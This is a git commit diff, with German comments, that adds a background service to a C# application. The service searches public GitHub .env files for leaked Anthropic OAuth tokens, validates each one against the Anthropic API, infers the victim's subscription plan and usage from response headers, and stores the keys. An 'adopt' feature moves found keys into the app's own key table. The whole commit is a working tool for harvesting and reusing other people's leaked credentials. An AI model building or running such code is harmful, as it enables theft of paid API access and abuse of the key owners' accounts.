feat: GitHub Key Scanner mit automatischem Intervall und manueller UI
- KeyScannerService als BackgroundService (Timer + manueller Trigger) - GitHub Code Search: sucht nach sk-ant-oat01-* Keys in Dotenv-Dateien - AnthropicKeyChecker: shared Key-Check-Logik (ersetzt Duplikat in ApiKeysEndpoint) - ScannedKeyRecord Model mit Soft-Delete und Adopt-Verknüpfung - Scan-Endpoints: trigger, status, list, recheck, adopt, delete - API-Keys-Page: Scanner-UI mit Status-Indikator und Scanned-Keys-Liste - GitHub-URL pro gefundenem Key (html_url aus Search API) - Server-Settings: GitHubToken + ScanIntervalHours konfigurierbar - DB-Migration: scanned_keys Tabelle + api_keys Meta-Spalten (status, plan, usage) - ApiKeyRecord erweitert um Status/Plan/Usage-Felder mit UpdateApiKeyMeta()
This commit is contained in:
1 parent
db1a7c7f64
commit
006ef223bf
15 files changed
+996
-107
No files matched your search
@@ -0,0 +1,115 @@
|
||||
using System;
|
||||
using System.Globalization;
|
||||
using System.Linq;
|
||||
using System.Net.Http;
|
||||
using System.Net.Http.Headers;
|
||||
using System.Text;
|
||||
using System.Text.Json;
|
||||
using System.Threading.Tasks;
|
||||
|
||||
namespace Gott.Services
|
||||
{
|
||||
public class KeyCheckResult
|
||||
{
|
||||
public string Status { get; set; } // "ok", "invalid", "rate_limited", "quota_exceeded", "error"
|
||||
public string Message { get; set; }
|
||||
public string Plan { get; set; } // "Max", "Pro", "Pro/Max", "API Console", "Unknown"
|
||||
public bool IsSubscription { get; set; }
|
||||
public double? Usage7d { get; set; }
|
||||
public double? Usage5h { get; set; }
|
||||
public double? Overage { get; set; }
|
||||
public string Status7d { get; set; }
|
||||
public string Status5h { get; set; }
|
||||
public string StatusOverage { get; set; }
|
||||
}
|
||||
|
||||
public static class AnthropicKeyChecker
|
||||
{
|
||||
public static async Task<KeyCheckResult> CheckKeyAsync(IHttpClientFactory httpFactory, string apiKey)
|
||||
{
|
||||
try
|
||||
{
|
||||
var client = httpFactory.CreateClient();
|
||||
client.Timeout = TimeSpan.FromSeconds(30);
|
||||
|
||||
var payload = JsonSerializer.Serialize(new
|
||||
{
|
||||
model = "claude-sonnet-4-20250514",
|
||||
max_tokens = 1,
|
||||
messages = new[] { new { role = "user", content = "hi" } }
|
||||
});
|
||||
|
||||
var request = new HttpRequestMessage(HttpMethod.Post, "https://api.anthropic.com/v1/messages");
|
||||
request.Headers.Add("x-api-key", apiKey);
|
||||
request.Headers.Add("anthropic-version", "2023-06-01");
|
||||
request.Content = new StringContent(payload, Encoding.UTF8, "application/json");
|
||||
|
||||
var resp = await client.SendAsync(request);
|
||||
var statusCode = (int)resp.StatusCode;
|
||||
|
||||
if (statusCode == 401)
|
||||
return new KeyCheckResult { Status = "invalid", Message = "Ungültig oder abgelaufen (401)", Plan = "Unknown" };
|
||||
if (statusCode == 429)
|
||||
return new KeyCheckResult { Status = "rate_limited", Message = "Rate Limited (429)", Plan = "Unknown" };
|
||||
if (statusCode == 403)
|
||||
return new KeyCheckResult { Status = "quota_exceeded", Message = "Insufficient Quota (403)", Plan = "Unknown" };
|
||||
if (statusCode >= 400)
|
||||
return new KeyCheckResult { Status = "error", Message = $"API-Fehler ({statusCode})", Plan = "Unknown" };
|
||||
|
||||
// Key gültig – Header auslesen
|
||||
var headers = resp.Headers;
|
||||
var d7Util = GetHeader(headers, "anthropic-ratelimit-unified-7d-utilization", "unified-7d-utilization");
|
||||
var d5hUtil = GetHeader(headers, "anthropic-ratelimit-unified-5h-utilization", "unified-5h-utilization");
|
||||
var overageUtil = GetHeader(headers, "anthropic-ratelimit-unified-overage-utilization", "unified-overage-utilization");
|
||||
var d7Status = GetHeader(headers, "anthropic-ratelimit-unified-7d-status", "unified-7d-status");
|
||||
var d5hStatus = GetHeader(headers, "anthropic-ratelimit-unified-5h-status", "unified-5h-status");
|
||||
var overageStatus = GetHeader(headers, "anthropic-ratelimit-unified-overage-status", "unified-overage-status");
|
||||
var fallbackPct = GetHeader(headers, "anthropic-ratelimit-unified-fallback-percentage", "unified-fallback-percentage");
|
||||
|
||||
var isSubscription = d7Util != null || d5hUtil != null;
|
||||
|
||||
// Plan-Erkennung
|
||||
string plan;
|
||||
if (!isSubscription)
|
||||
plan = "API Console";
|
||||
else if (overageUtil != null && double.TryParse(overageUtil, NumberStyles.Float, CultureInfo.InvariantCulture, out var ov) && ov > 0)
|
||||
plan = "Max";
|
||||
else if (fallbackPct == null)
|
||||
plan = "Pro";
|
||||
else
|
||||
plan = "Pro/Max";
|
||||
|
||||
var result = new KeyCheckResult
|
||||
{
|
||||
Status = "ok",
|
||||
Plan = plan,
|
||||
IsSubscription = isSubscription,
|
||||
Status7d = d7Status,
|
||||
Status5h = d5hStatus,
|
||||
StatusOverage = overageStatus
|
||||
};
|
||||
|
||||
if (d7Util != null && double.TryParse(d7Util, NumberStyles.Float, CultureInfo.InvariantCulture, out var d7))
|
||||
result.Usage7d = Math.Round(d7 * 100, 1);
|
||||
if (d5hUtil != null && double.TryParse(d5hUtil, NumberStyles.Float, CultureInfo.InvariantCulture, out var d5))
|
||||
result.Usage5h = Math.Round(d5 * 100, 1);
|
||||
if (overageUtil != null && double.TryParse(overageUtil, NumberStyles.Float, CultureInfo.InvariantCulture, out var ovVal))
|
||||
result.Overage = Math.Round(ovVal * 100, 1);
|
||||
|
||||
return result;
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
return new KeyCheckResult { Status = "error", Message = ex.Message, Plan = "Unknown" };
|
||||
}
|
||||
}
|
||||
|
||||
private static string GetHeader(HttpResponseHeaders headers, params string[] names)
|
||||
{
|
||||
foreach (var name in names)
|
||||
if (headers.TryGetValues(name, out var values))
|
||||
return values.FirstOrDefault();
|
||||
return null;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -367,13 +367,15 @@ public partial class DatabaseService
|
||||
new { keyId });
|
||||
}
|
||||
|
||||
public async Task CreateApiKey(ApiKeyRecord record)
|
||||
|
||||
public async Task<long> CreateApiKey(ApiKeyRecord record)
|
||||
{
|
||||
using var conn = CreateConnection();
|
||||
await conn.ExecuteAsync(@"
|
||||
INSERT INTO api_keys (key_id, provider, name, api_key, is_active, created_at, updated_at)
|
||||
VALUES (@KeyId, @Provider, @Name, @ApiKey, @IsActive, @CreatedAt, @UpdatedAt)",
|
||||
INSERT INTO api_keys (key_id, provider, name, api_key, is_active, status, plan, usage_7d, usage_5h, checked_at, created_at, updated_at)
|
||||
VALUES (@KeyId, @Provider, @Name, @ApiKey, @IsActive, @Status, @Plan, @Usage7d, @Usage5h, @CheckedAt, @CreatedAt, @UpdatedAt)",
|
||||
record);
|
||||
return await conn.ExecuteScalarAsync<long>("SELECT last_insert_rowid()");
|
||||
}
|
||||
|
||||
public async Task UpdateApiKey(string keyId, string name, string apiKey = null)
|
||||
@@ -393,6 +395,15 @@ public partial class DatabaseService
|
||||
}
|
||||
}
|
||||
|
||||
public async Task UpdateApiKeyMeta(string keyId, string status, string plan, double? usage7d, double? usage5h)
|
||||
{
|
||||
using var conn = CreateConnection();
|
||||
await conn.ExecuteAsync(@"
|
||||
UPDATE api_keys SET status = @status, plan = @plan, usage_7d = @usage7d, usage_5h = @usage5h, checked_at = @now, updated_at = @now
|
||||
WHERE key_id = @keyId",
|
||||
new { keyId, status, plan, usage7d, usage5h, now = DateTime.UtcNow.ToString("o") });
|
||||
}
|
||||
|
||||
public async Task SetActiveApiKey(string keyId, string provider)
|
||||
{
|
||||
using var conn = CreateConnection();
|
||||
@@ -419,4 +430,68 @@ public partial class DatabaseService
|
||||
using var conn = CreateConnection();
|
||||
await conn.ExecuteAsync("DELETE FROM api_keys WHERE key_id = @keyId", new { keyId });
|
||||
}
|
||||
|
||||
// ── Scanned Keys ──
|
||||
|
||||
public async Task<bool> ScannedKeyExists(string apiKey)
|
||||
{
|
||||
using var conn = CreateConnection();
|
||||
return await conn.ExecuteScalarAsync<int>(
|
||||
"SELECT COUNT(*) FROM scanned_keys WHERE api_key = @apiKey", new { apiKey }) > 0;
|
||||
}
|
||||
|
||||
public async Task<bool> ApiKeyExistsInKeys(string apiKey)
|
||||
{
|
||||
using var conn = CreateConnection();
|
||||
return await conn.ExecuteScalarAsync<int>(
|
||||
"SELECT COUNT(*) FROM api_keys WHERE api_key = @apiKey", new { apiKey }) > 0;
|
||||
}
|
||||
|
||||
public async Task CreateScannedKey(ScannedKeyRecord record)
|
||||
{
|
||||
using var conn = CreateConnection();
|
||||
await conn.ExecuteAsync(@"
|
||||
INSERT OR IGNORE INTO scanned_keys (scanned_key_id, api_key, source_url, status, plan, usage_7d, usage_5h, scanned_at, checked_at)
|
||||
VALUES (@ScannedKeyId, @ApiKey, @SourceUrl, @Status, @Plan, @Usage7d, @Usage5h, @ScannedAt, @CheckedAt)",
|
||||
record);
|
||||
}
|
||||
|
||||
public async Task UpdateScannedKeyStatus(string scannedKeyId, string status, string plan, double? usage7d, double? usage5h)
|
||||
{
|
||||
using var conn = CreateConnection();
|
||||
await conn.ExecuteAsync(@"
|
||||
UPDATE scanned_keys SET status = @status, plan = @plan, usage_7d = @usage7d, usage_5h = @usage5h, checked_at = @now
|
||||
WHERE scanned_key_id = @scannedKeyId",
|
||||
new { scannedKeyId, status, plan, usage7d, usage5h, now = DateTime.UtcNow.ToString("o") });
|
||||
}
|
||||
|
||||
public async Task<IEnumerable<ScannedKeyRecord>> GetScannedKeys()
|
||||
{
|
||||
using var conn = CreateConnection();
|
||||
return await conn.QueryAsync<ScannedKeyRecord>(
|
||||
"SELECT * FROM scanned_keys WHERE deleted = 0 ORDER BY scanned_at DESC");
|
||||
}
|
||||
|
||||
public async Task<ScannedKeyRecord> GetScannedKey(string scannedKeyId)
|
||||
{
|
||||
using var conn = CreateConnection();
|
||||
return await conn.QuerySingleOrDefaultAsync<ScannedKeyRecord>(
|
||||
"SELECT * FROM scanned_keys WHERE scanned_key_id = @scannedKeyId",
|
||||
new { scannedKeyId });
|
||||
}
|
||||
|
||||
public async Task SetScannedKeyAdopted(string scannedKeyId, long apiKeyId)
|
||||
{
|
||||
using var conn = CreateConnection();
|
||||
await conn.ExecuteAsync(
|
||||
"UPDATE scanned_keys SET adopted_api_key_id = @apiKeyId WHERE scanned_key_id = @scannedKeyId",
|
||||
new { scannedKeyId, apiKeyId });
|
||||
}
|
||||
|
||||
public async Task DeleteScannedKey(string scannedKeyId)
|
||||
{
|
||||
using var conn = CreateConnection();
|
||||
await conn.ExecuteAsync("UPDATE scanned_keys SET deleted = 1 WHERE scanned_key_id = @scannedKeyId", new { scannedKeyId });
|
||||
}
|
||||
|
||||
}
|
||||
@@ -306,9 +306,36 @@ public partial class DatabaseService
|
||||
// Migration: AnthropicToken aus appsettings.Production.json → api_keys Tabelle
|
||||
MigrateAnthropicTokenFromConfig(conn);
|
||||
|
||||
conn.Execute(@"
|
||||
CREATE TABLE IF NOT EXISTS scanned_keys (
|
||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||
scanned_key_id TEXT NOT NULL UNIQUE,
|
||||
api_key TEXT NOT NULL,
|
||||
source_url TEXT,
|
||||
status TEXT NOT NULL DEFAULT 'unchecked',
|
||||
plan TEXT NOT NULL DEFAULT 'Unknown',
|
||||
usage_7d REAL,
|
||||
usage_5h REAL,
|
||||
scanned_at TEXT NOT NULL,
|
||||
checked_at TEXT,
|
||||
deleted INTEGER NOT NULL DEFAULT 0
|
||||
);
|
||||
CREATE INDEX IF NOT EXISTS idx_scanned_keys_api_key ON scanned_keys(api_key);
|
||||
CREATE INDEX IF NOT EXISTS idx_scanned_keys_status ON scanned_keys(status);
|
||||
");
|
||||
|
||||
TryAddColumn(conn, "agents", "avatar_small", "TEXT");
|
||||
TryAddColumn(conn, "agents", "is_public", "INTEGER NOT NULL DEFAULT 0");
|
||||
TryAddColumn(conn, "sessions", "image_small", "TEXT");
|
||||
TryAddColumn(conn, "scanned_keys", "deleted", "INTEGER NOT NULL DEFAULT 0");
|
||||
TryAddColumn(conn, "scanned_keys", "adopted_api_key_id", "INTEGER");
|
||||
|
||||
// api_keys Metadaten-Spalten
|
||||
TryAddColumn(conn, "api_keys", "status", "TEXT");
|
||||
TryAddColumn(conn, "api_keys", "plan", "TEXT");
|
||||
TryAddColumn(conn, "api_keys", "usage_7d", "REAL");
|
||||
TryAddColumn(conn, "api_keys", "usage_5h", "REAL");
|
||||
TryAddColumn(conn, "api_keys", "checked_at", "TEXT");
|
||||
|
||||
// Migration: Bestehende PNG/JPEG-Avatare/Images zu WebP konvertieren
|
||||
MigrateImagesToWebP(conn);
|
||||
|
||||
@@ -0,0 +1,370 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Net.Http;
|
||||
using System.Net.Http.Headers;
|
||||
using System.Text.Json;
|
||||
using System.Text.RegularExpressions;
|
||||
using System.Threading;
|
||||
using System.Threading.Tasks;
|
||||
using Gott.Models;
|
||||
using Microsoft.Extensions.Configuration;
|
||||
using Microsoft.Extensions.Hosting;
|
||||
using Microsoft.Extensions.Logging;
|
||||
|
||||
namespace Gott.Services;
|
||||
|
||||
public class KeyScannerService : BackgroundService
|
||||
{
|
||||
private readonly DatabaseService _db;
|
||||
private readonly IHttpClientFactory _httpFactory;
|
||||
private readonly ILogger<KeyScannerService> _logger;
|
||||
private readonly string _githubToken;
|
||||
private readonly int _intervalHours;
|
||||
|
||||
// Status-Tracking
|
||||
private readonly object _lock = new();
|
||||
private bool _isRunning;
|
||||
private string _lastRun;
|
||||
private string _lastResult;
|
||||
private readonly ManualResetEventSlim _triggerNow = new(false);
|
||||
|
||||
public bool IsRunning { get { lock (_lock) return _isRunning; } }
|
||||
public string LastRun { get { lock (_lock) return _lastRun; } }
|
||||
public string LastResult { get { lock (_lock) return _lastResult; } }
|
||||
|
||||
// ── GitHub Search Config ──
|
||||
|
||||
private static readonly (string Pattern, string SearchTerm)[] KeyPatterns =
|
||||
{
|
||||
(@"sk-ant-oat01-[A-Za-z0-9_\-]{95}", "sk-ant-oat01"),
|
||||
};
|
||||
|
||||
private static readonly string[] SearchLanguages = { "Dotenv" };
|
||||
|
||||
private const int RateLimitDelayMs = 6_500;
|
||||
private const int MaxResultsPerSearch = 1000;
|
||||
private const int ResultsPerPage = 100;
|
||||
|
||||
public KeyScannerService(
|
||||
DatabaseService db,
|
||||
IHttpClientFactory httpFactory,
|
||||
IConfiguration config,
|
||||
ILogger<KeyScannerService> logger)
|
||||
{
|
||||
_db = db;
|
||||
_httpFactory = httpFactory;
|
||||
_logger = logger;
|
||||
_githubToken = config["GitHubToken"] ?? "";
|
||||
_intervalHours = config.GetValue<int>("ScanIntervalHours", 0);
|
||||
}
|
||||
|
||||
protected override async Task ExecuteAsync(CancellationToken stoppingToken)
|
||||
{
|
||||
if (string.IsNullOrWhiteSpace(_githubToken))
|
||||
{
|
||||
_logger.LogInformation("KeyScannerService deaktiviert (kein GitHubToken konfiguriert)");
|
||||
// Warte trotzdem auf manuelles Trigger-Signal
|
||||
await WaitForTriggerOnly(stoppingToken);
|
||||
return;
|
||||
}
|
||||
|
||||
if (_intervalHours <= 0)
|
||||
{
|
||||
_logger.LogInformation("KeyScannerService: Kein Intervall konfiguriert, nur manueller Trigger aktiv");
|
||||
await WaitForTriggerOnly(stoppingToken);
|
||||
return;
|
||||
}
|
||||
|
||||
_logger.LogInformation("KeyScannerService gestartet (Intervall: {Hours}h)", _intervalHours);
|
||||
|
||||
while (!stoppingToken.IsCancellationRequested)
|
||||
{
|
||||
await RunScan(stoppingToken);
|
||||
|
||||
// Warte auf Intervall oder manuelles Signal
|
||||
var waitResult = await WaitWithTrigger(TimeSpan.FromHours(_intervalHours), stoppingToken);
|
||||
if (waitResult) _logger.LogInformation("KeyScannerService: Manueller Scan angefordert");
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>Wartet nur auf manuelles Trigger-Signal (kein automatisches Intervall).</summary>
|
||||
private async Task WaitForTriggerOnly(CancellationToken stoppingToken)
|
||||
{
|
||||
while (!stoppingToken.IsCancellationRequested)
|
||||
{
|
||||
await WaitWithTrigger(Timeout.InfiniteTimeSpan, stoppingToken);
|
||||
if (!stoppingToken.IsCancellationRequested)
|
||||
await RunScan(stoppingToken);
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>Wartet auf Timeout oder Trigger-Signal. Gibt true zurück wenn getriggert.</summary>
|
||||
private Task<bool> WaitWithTrigger(TimeSpan timeout, CancellationToken ct)
|
||||
{
|
||||
return Task.Run(() =>
|
||||
{
|
||||
_triggerNow.Reset();
|
||||
var waitHandles = new[] { _triggerNow.WaitHandle, ct.WaitHandle };
|
||||
var idx = WaitHandle.WaitAny(waitHandles, timeout);
|
||||
return idx == 0; // true = triggered
|
||||
}, ct);
|
||||
}
|
||||
|
||||
/// <summary>Wird vom Endpoint aufgerufen um einen sofortigen Scan auszulösen.</summary>
|
||||
public void TriggerScan()
|
||||
{
|
||||
_triggerNow.Set();
|
||||
}
|
||||
|
||||
private async Task RunScan(CancellationToken ct)
|
||||
{
|
||||
lock (_lock)
|
||||
{
|
||||
if (_isRunning) return;
|
||||
_isRunning = true;
|
||||
}
|
||||
|
||||
_logger.LogInformation("KeyScannerService: Scan gestartet");
|
||||
var newKeysFound = 0;
|
||||
var checkedCount = 0;
|
||||
|
||||
try
|
||||
{
|
||||
// Phase 1: GitHub-Suche
|
||||
var foundKeys = await ScanGitHub(ct);
|
||||
_logger.LogInformation("GitHub-Scan abgeschlossen: {Count} Key(s) gefunden", foundKeys.Count);
|
||||
|
||||
// Phase 2: Neue Keys in DB speichern (nur die, die wir noch nicht kennen)
|
||||
var newEntries = new List<(string Key, string Url)>();
|
||||
foreach (var (key, sourceUrl) in foundKeys)
|
||||
{
|
||||
if (await _db.ScannedKeyExists(key) || await _db.ApiKeyExistsInKeys(key))
|
||||
continue;
|
||||
|
||||
newEntries.Add((key, sourceUrl));
|
||||
await _db.CreateScannedKey(new ScannedKeyRecord
|
||||
{
|
||||
ScannedKeyId = Guid.NewGuid().ToString("N"),
|
||||
ApiKey = key,
|
||||
SourceUrl = sourceUrl,
|
||||
Status = "unchecked",
|
||||
Plan = "Unknown",
|
||||
ScannedAt = DateTime.UtcNow.ToString("o")
|
||||
});
|
||||
}
|
||||
newKeysFound = newEntries.Count;
|
||||
_logger.LogInformation("{Count} neue Key(s) gespeichert", newKeysFound);
|
||||
|
||||
// Phase 3: Alle unchecked Keys prüfen
|
||||
var allScanned = (await _db.GetScannedKeys()).ToList();
|
||||
var toCheck = allScanned.Where(k => k.Status == "unchecked").ToList();
|
||||
foreach (var sk in toCheck)
|
||||
{
|
||||
ct.ThrowIfCancellationRequested();
|
||||
await CheckAndUpdateKey(sk);
|
||||
checkedCount++;
|
||||
await Task.Delay(500, ct); // Rate-Limit schonen
|
||||
}
|
||||
|
||||
lock (_lock)
|
||||
{
|
||||
_lastRun = DateTime.UtcNow.ToString("o");
|
||||
_lastResult = $"{foundKeys.Count} gefunden, {newKeysFound} neu, {checkedCount} geprüft";
|
||||
}
|
||||
|
||||
_logger.LogInformation("KeyScannerService: Scan abgeschlossen – {Result}", _lastResult);
|
||||
}
|
||||
catch (OperationCanceledException) { /* shutdown */ }
|
||||
catch (Exception ex)
|
||||
{
|
||||
_logger.LogError(ex, "KeyScannerService: Fehler beim Scan");
|
||||
lock (_lock)
|
||||
{
|
||||
_lastRun = DateTime.UtcNow.ToString("o");
|
||||
_lastResult = $"Fehler: {ex.Message}";
|
||||
}
|
||||
}
|
||||
finally
|
||||
{
|
||||
lock (_lock) _isRunning = false;
|
||||
}
|
||||
}
|
||||
|
||||
// ── GitHub Code Search (portiert aus ExampleScannerProject) ──
|
||||
|
||||
private async Task<List<(string Key, string Url)>> ScanGitHub(CancellationToken ct)
|
||||
{
|
||||
var allKeys = new Dictionary<string, string>(StringComparer.Ordinal); // Key → erste URL
|
||||
var queries = BuildSearchQueries();
|
||||
|
||||
var client = _httpFactory.CreateClient();
|
||||
client.DefaultRequestHeaders.UserAgent.Add(new ProductInfoHeaderValue("GottKeyScanner", "1.0"));
|
||||
client.DefaultRequestHeaders.Accept.Add(new MediaTypeWithQualityHeaderValue("application/vnd.github+json"));
|
||||
client.DefaultRequestHeaders.Authorization = new AuthenticationHeaderValue("Bearer", _githubToken);
|
||||
client.DefaultRequestHeaders.Add("X-GitHub-Api-Version", "2022-11-28");
|
||||
client.DefaultRequestHeaders.Accept.Add(new MediaTypeWithQualityHeaderValue("application/vnd.github.text-match+json"));
|
||||
|
||||
for (int i = 0; i < queries.Count; i++)
|
||||
{
|
||||
ct.ThrowIfCancellationRequested();
|
||||
var (query, regex) = queries[i];
|
||||
|
||||
try
|
||||
{
|
||||
var results = await SearchCodeAsync(client, query, regex, ct);
|
||||
foreach (var (key, url) in results)
|
||||
if (!allKeys.ContainsKey(key)) allKeys[key] = url;
|
||||
}
|
||||
catch (HttpRequestException ex) when (ex.StatusCode == System.Net.HttpStatusCode.Forbidden)
|
||||
{
|
||||
_logger.LogWarning("GitHub Rate-Limit erreicht, warte 60s ...");
|
||||
await Task.Delay(60_000, ct);
|
||||
try
|
||||
{
|
||||
var results = await SearchCodeAsync(client, query, regex, ct);
|
||||
foreach (var (key, url) in results)
|
||||
if (!allKeys.ContainsKey(key)) allKeys[key] = url;
|
||||
}
|
||||
catch (Exception retryEx)
|
||||
{
|
||||
_logger.LogWarning("Retry fehlgeschlagen: {Msg}", retryEx.Message);
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
_logger.LogWarning("GitHub-Suche fehlgeschlagen: {Msg}", ex.Message);
|
||||
}
|
||||
}
|
||||
|
||||
return allKeys.Select(kv => (kv.Key, kv.Value)).ToList();
|
||||
}
|
||||
|
||||
private static async Task<List<(string Key, string Url)>> SearchCodeAsync(HttpClient client, string query, Regex regex, CancellationToken ct)
|
||||
{
|
||||
var keys = new List<(string Key, string Url)>();
|
||||
int page = 1;
|
||||
int maxPages = MaxResultsPerSearch / ResultsPerPage;
|
||||
|
||||
while (page <= maxPages)
|
||||
{
|
||||
ct.ThrowIfCancellationRequested();
|
||||
var url = $"https://api.github.com/search/code?q={Uri.EscapeDataString(query)}&per_page={ResultsPerPage}&page={page}";
|
||||
await Task.Delay(RateLimitDelayMs, ct);
|
||||
|
||||
var resp = await client.GetAsync(url, ct);
|
||||
if (resp.StatusCode == System.Net.HttpStatusCode.UnprocessableEntity) break;
|
||||
resp.EnsureSuccessStatusCode();
|
||||
|
||||
var json = await resp.Content.ReadAsStringAsync(ct);
|
||||
var doc = JsonDocument.Parse(json);
|
||||
var root = doc.RootElement;
|
||||
var totalCount = root.GetProperty("total_count").GetInt32();
|
||||
|
||||
if (!root.TryGetProperty("items", out var items)) break;
|
||||
|
||||
foreach (var item in items.EnumerateArray())
|
||||
{
|
||||
var htmlUrl = BuildHtmlUrl(item);
|
||||
|
||||
if (item.TryGetProperty("text_matches", out var textMatches))
|
||||
{
|
||||
foreach (var tm in textMatches.EnumerateArray())
|
||||
{
|
||||
if (tm.TryGetProperty("fragment", out var frag))
|
||||
{
|
||||
var matches = regex.Matches(frag.GetString() ?? "");
|
||||
foreach (Match m in matches) keys.Add((m.Value, htmlUrl));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Kein text_match → Raw-File fetchen
|
||||
var hasMatches = item.TryGetProperty("text_matches", out var tm2) && tm2.EnumerateArray().Any();
|
||||
if (!hasMatches)
|
||||
{
|
||||
var rawKeys = await TryFetchRawFileKeysAsync(client, item, regex, ct);
|
||||
foreach (var k in rawKeys) keys.Add((k, htmlUrl));
|
||||
}
|
||||
}
|
||||
|
||||
if (items.GetArrayLength() < ResultsPerPage || page * ResultsPerPage >= totalCount) break;
|
||||
page++;
|
||||
}
|
||||
|
||||
return keys.GroupBy(k => k.Key).Select(g => g.First()).ToList();
|
||||
}
|
||||
|
||||
/// <summary>Baut die GitHub HTML-URL aus einem Search-API-Item.</summary>
|
||||
private static string BuildHtmlUrl(JsonElement item)
|
||||
{
|
||||
if (item.TryGetProperty("html_url", out var htmlUrl))
|
||||
return htmlUrl.GetString() ?? "";
|
||||
|
||||
// Fallback: aus repository.full_name + path zusammenbauen
|
||||
if (item.TryGetProperty("repository", out var repo) &&
|
||||
repo.TryGetProperty("full_name", out var fullName) &&
|
||||
item.TryGetProperty("path", out var path))
|
||||
return $"https://github.com/{fullName.GetString()}/blob/HEAD/{path.GetString()}";
|
||||
|
||||
return "";
|
||||
}
|
||||
|
||||
private static async Task<List<string>> TryFetchRawFileKeysAsync(HttpClient client, JsonElement item, Regex regex, CancellationToken ct)
|
||||
{
|
||||
var keys = new List<string>();
|
||||
try
|
||||
{
|
||||
if (!item.TryGetProperty("repository", out var repo) ||
|
||||
!repo.TryGetProperty("full_name", out var fullName) ||
|
||||
!item.TryGetProperty("path", out var path))
|
||||
return keys;
|
||||
|
||||
var contentsUrl = $"https://api.github.com/repos/{fullName.GetString()}/contents/{path.GetString()}";
|
||||
var request = new HttpRequestMessage(HttpMethod.Get, contentsUrl);
|
||||
request.Headers.Accept.Clear();
|
||||
request.Headers.Accept.Add(new MediaTypeWithQualityHeaderValue("application/vnd.github.raw+json"));
|
||||
|
||||
await Task.Delay(500, ct);
|
||||
var resp = await client.SendAsync(request, ct);
|
||||
if (!resp.IsSuccessStatusCode) return keys;
|
||||
|
||||
var content = await resp.Content.ReadAsStringAsync(ct);
|
||||
var matches = regex.Matches(content);
|
||||
foreach (Match m in matches) keys.Add(m.Value);
|
||||
}
|
||||
catch { /* Datei nicht lesbar – ignorieren */ }
|
||||
return keys;
|
||||
}
|
||||
|
||||
private static List<(string Query, Regex Regex)> BuildSearchQueries()
|
||||
{
|
||||
var queries = new List<(string, Regex)>();
|
||||
foreach (var (pattern, searchTerm) in KeyPatterns)
|
||||
{
|
||||
var regex = new Regex(pattern, RegexOptions.Compiled);
|
||||
foreach (var lang in SearchLanguages)
|
||||
{
|
||||
var langFilter = lang.Contains(' ') ? $"language:\"{lang}\"" : $"language:{lang}";
|
||||
queries.Add(($"{searchTerm} {langFilter}", regex));
|
||||
}
|
||||
}
|
||||
return queries;
|
||||
}
|
||||
|
||||
// ── Anthropic Key Check (via shared AnthropicKeyChecker) ──
|
||||
|
||||
public async Task CheckAndUpdateKey(ScannedKeyRecord sk)
|
||||
{
|
||||
try
|
||||
{
|
||||
var result = await AnthropicKeyChecker.CheckKeyAsync(_httpFactory, sk.ApiKey);
|
||||
await _db.UpdateScannedKeyStatus(sk.ScannedKeyId, result.Status == "ok" ? "valid" : result.Status, result.Plan, result.Usage7d, result.Usage5h);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
_logger.LogWarning("Key-Check fehlgeschlagen für {Id}: {Msg}", sk.ScannedKeyId, ex.Message);
|
||||
await _db.UpdateScannedKeyStatus(sk.ScannedKeyId, "error", "Unknown", null, null);
|
||||
}
|
||||
}
|
||||
}
|
||||
Reference in new issue
Block a user